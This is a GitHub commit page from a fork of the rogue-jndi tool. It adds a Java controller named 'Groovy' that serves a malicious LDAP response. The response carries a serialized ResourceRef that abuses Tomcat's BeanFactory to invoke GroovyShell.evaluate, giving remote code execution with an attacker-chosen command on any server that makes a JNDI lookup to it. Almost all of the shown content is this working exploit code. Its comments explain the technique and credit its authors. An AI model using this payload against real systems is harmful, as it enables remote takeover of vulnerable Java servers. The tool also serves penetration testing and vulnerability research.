forked from veracode-research/rogue-jndi
-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
v1.1: new Groovy gadget by Orange Tsai
- Loading branch information
Showing
6 changed files
with
84 additions
and
4 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,51 @@ | ||
package artsploit.controllers; | ||
|
||
import artsploit.Config; | ||
import artsploit.annotations.LdapMapping; | ||
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; | ||
import com.unboundid.ldap.sdk.Entry; | ||
import com.unboundid.ldap.sdk.LDAPResult; | ||
import com.unboundid.ldap.sdk.ResultCode; | ||
import org.apache.naming.ResourceRef; | ||
|
||
import javax.naming.StringRefAddr; | ||
|
||
import static artsploit.Utilities.getBase64CommandTpl; | ||
import static artsploit.Utilities.serialize; | ||
|
||
/** | ||
* Yields: | ||
* RCE via arbitrary bean creation in {@link org.apache.naming.factory.BeanFactory} | ||
* When bean is created on the server side, we can control its class name and setter methods, | ||
* so we can leverage {@link groovy.lang.GroovyShell#evaluate} method to execute arbitrary Groovy script | ||
* | ||
* @see https://blog.orange.tw/2020/09/how-i-hacked-facebook-again-mobileiron-mdm-rce.html for details | ||
* | ||
* Requires: | ||
* Tomcat and Groovy in classpath | ||
* | ||
* @author https://twitter.com/orange_8361 and https://github.com/welk1n | ||
*/ | ||
@LdapMapping(uri = { "/o=groovy" }) | ||
public class Groovy implements LdapController { | ||
|
||
String payload = "'${cmd}'.execute()".replace("${cmd}", getBase64CommandTpl(Config.command)); | ||
|
||
public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception { | ||
|
||
System.out.println("Sending LDAP ResourceRef result for " + base + " with groovy.lang.GroovyShell payload"); | ||
|
||
Entry e = new Entry(base); | ||
e.addAttribute("javaClassName", "java.lang.String"); //could be any | ||
|
||
//prepare payload that exploits unsafe reflection in org.apache.naming.factory.BeanFactory | ||
ResourceRef ref = new ResourceRef("groovy.lang.GroovyShell", null, "", "", true,"org.apache.naming.factory.BeanFactory",null); | ||
ref.add(new StringRefAddr("forceString", "x=evaluate")); | ||
ref.add(new StringRefAddr("x",payload)); | ||
|
||
e.addAttribute("javaSerializedData", serialize(ref)); | ||
|
||
result.sendSearchEntry(e); | ||
result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); | ||
} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters